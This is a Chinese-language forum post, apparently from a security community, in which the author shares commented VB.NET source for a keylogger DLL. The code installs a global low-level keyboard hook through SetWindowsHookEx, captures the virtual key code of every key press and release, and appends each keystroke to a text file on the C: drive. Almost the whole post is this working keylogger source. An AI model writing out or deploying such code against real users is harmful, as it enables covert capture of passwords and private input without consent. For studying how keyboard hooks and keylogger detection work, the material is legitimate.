早起用vb写程序 不愿变了 语言其实差不多 后来看很多写键盘记录的程序 改写了几个.net下的 用VB.net实现 生成dll ，方便调用
大体就是 调用hook 获取线程号 读键盘数据 处理
下面贴出以前写的源码+注释
在vs2008中，建立一个键盘记录的DLL，方便以后单独调用，因为调用系统API之前需要进行申明，申明过程让我们可以了解到win在进行键盘处理的流程是如何进行的。首先，我们申明一个委托函数HOOKPROC，此函数体根据查找，应与原本键盘处理的函数体保持一致。此函数体实际过程中也是一个结构体，里面存着键盘扫描码记录，根据win的约定进行存放编码。
同时，我们申明hook的建立和删除函数，根据win的约定进行设置，启用hook时，变量存储着hook的类型、拦截后进行处理的函数体、模式、线程号。在处理我们的代码后，需要回调给原本的事件处理流程，以便只完成键盘记录，而不影响系统其它的键盘使用。回调函数CallNextHookEx与原本处理键盘事件后续流程结构保持一致。
取回当前线程后，以便方便进行拦截和回调，方法很多，可以通过api获取。
Public Class kc_keylog
    'hook-键盘钩子声明
    Public Delegate Function HOOKPROC(ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As IntPtr) As IntPtr '委托函数声明
    '启用键盘hook声明
    <DllImport("User32.dll")> _
    Private Shared Function SetWindowsHookEx(ByVal lhooktype As HOOKType, ByVal lpfn As HOOKPROC, ByVal hmod As IntPtr, ByVal dwThreadId As Integer) As IntPtr
    End Function
    '卸载键盘hook声明
    <DllImport("User32.dll")> _
    Public Shared Function UnhookWindowsHookEx(ByVal hHook As IntPtr) As Boolean
    End Function
    'hook回调传递
    <DllImport("User32.dll")> _
    Public Shared Function CallNextHookEx(ByVal hHook As IntPtr, ByVal ncode As Integer, ByVal wParam As Integer, ByVal lParam As IntPtr) As IntPtr
    End Function
    '获取当前线程句柄
    <DllImport("Kernel32")> _
   Private Shared Function GetCurrentThreadId() As Integer
End Function
这里hook变量，需要预先设定一个中断事件，方便我们调式，即一旦出现空格，表示开始响应代码，进行我们的拦截处理。
    'hook变量
    Public hnextHookproc As IntPtr = 0’ 确认是否启用
   
Hook类型很多，此处定义一个结构，将各种类型全部汇聚，方便扩展，此次编码，选择类型2-键盘hook。
    '枚举hook类型-此处为2
    Public Enum HOOKType '各种hook类型
        WH_JOURNALRECORD = 0
        WH_JOURNALPLAYBACK = 1
        WH_KEYBOARD = 2 '这个是表明Hook的种类是键盘Hook
        WH_GETMESSAGE = 3
        WH_CALLWNDPROC = 4
        WH_CBT = 5
        WH_SYSMSGFILTER = 6
        WH_MOUSE = 7
        WH_HARDWARE = 8
        WH_DEBUG = 9
        WH_SHELL = 10
        WH_FOREGROUNDIDLE = 11
        WH_CALLWNDPROCRET = 12
        WH_KEYBOARD_LL = 13
        WH_MOUSE_LL = 14
        WH_MSGFILTER = (-1)
End Enum
    按照win约定，取出键盘消息的结构体。
    '定义键盘消息框架
    Public Structure KBDmessage
        Public vkCode As Integer   '按键代码
        Public scanCode As Integer
        Public flags As Integer
        Public time As Integer
        Public dwExtraInfo As Integer
End Structure
    键盘事件分为按下弹起两步，在此进行记录。
    '定义键盘消息状态
    Public Enum KBDStatus
        KeyDown = &H100
        KeyUp = &H101
        SystemKeyDown = &H104
        SystemKeyUp = &H105
End Enum
    根据预先设定的判定值hnextHookproc，其默认值为0，启用hook后，其值改变，于是，确认启用了hook，因此，可以调用卸载函数进行卸载。
    Public Function UnHookKBD() As Boolean '解键盘HOOK函数
        Try
            If hnextHookproc <> 0 Then
                UnhookWindowsHookEx(hnextHookproc)
                hnextHookproc = 0
            End If
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
End Function
    当主程序调用hook时，调用此处，进行启用hook，根据预设值判断，避免重复启用冲突，此处，获得线程号另一方式，通过Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly.ManifestModule)获取句柄，在启用hook的函数体里获取线程号，第三四处变量决定是全局hook还是局部hook。
    Public Function EnableKBDHook() As Boolean '设置键盘HOOK
        Try
            If hnextHookproc <> 0 Then
                Exit Function
            End If
            Dim pIntpr As IntPtr = Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly.ManifestModule)
            hnextHookproc = SetWindowsHookEx(HOOKType.WH_KEYBOARD_LL, AddressOf MyKBHFunc, pIntpr, 0)
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
End Function
    启用hook函数后，其调用委托函数，通过委托函数，转到我们的代码函数处，来进行我们的处理，我们键盘记录处理只拦截键盘消息，其它事件放行。
    '实际键盘记录处理函数
    Private Function MyKBHFunc(ByVal nCode As Integer, ByVal wParam As Integer, ByVal lParam As IntPtr) As IntPtr
        Try
            '默认无消息时，回调回去，交给系统
            If nCode < 0 Then
                MyKBHFunc = CallNextHookEx(hnextHookproc, nCode, wParam, lParam)
                Exit Function
            End If
            '全局hook时，取wparam作为按键状态，检测是否按键，没检测到键盘消息时，回调回去
            '若为线程hook，则wparam为按键信息，直接匹配按键信息，进行处理
            Dim kevents As KBDStatus = wParam

            '扩展-对按键状态过滤
            If kevents <> KBDStatus.KeyDown And kevents <> KBDStatus.KeyUp And kevents <> KBDStatus.SystemKeyDown And kevents <> KBDStatus.SystemKeyUp Then
                Return CallNextHookEx(hnextHookproc, nCode, wParam, lParam)
            End If
            '通过marshal的转换，重新实例化一个键盘消息，通过获取传递过来的lparam，查看虚拟键盘码
            Dim kbdVALUE As KBDmessage = New KBDmessage
            Dim toType As Type = kbdVALUE.GetType
            kbdVALUE = Marshal.PtrToStructure(lParam, toType)
            Dim keydata As Keys = kbdVALUE.vkCode

            '传递键盘事件
            KBDfunc(kevents, keydata)

        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try
    End Function
    '自定义记录后的操作
    Private Function KBDfunc(ByVal kevents As KBDStatus, ByVal keydata As Keys) As String
        Dim keyStr As String = kevents.ToString + " " + keydata.ToString
        Try
            Dim f1 As New StreamWriter("c:/1.txt", True)
            f1.WriteLine(keyStr)
            f1.Close()
        Catch ex As Exception
            MessageBox.Show(ex.Message)
        End Try

        Return keyStr
End Function

End Class

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！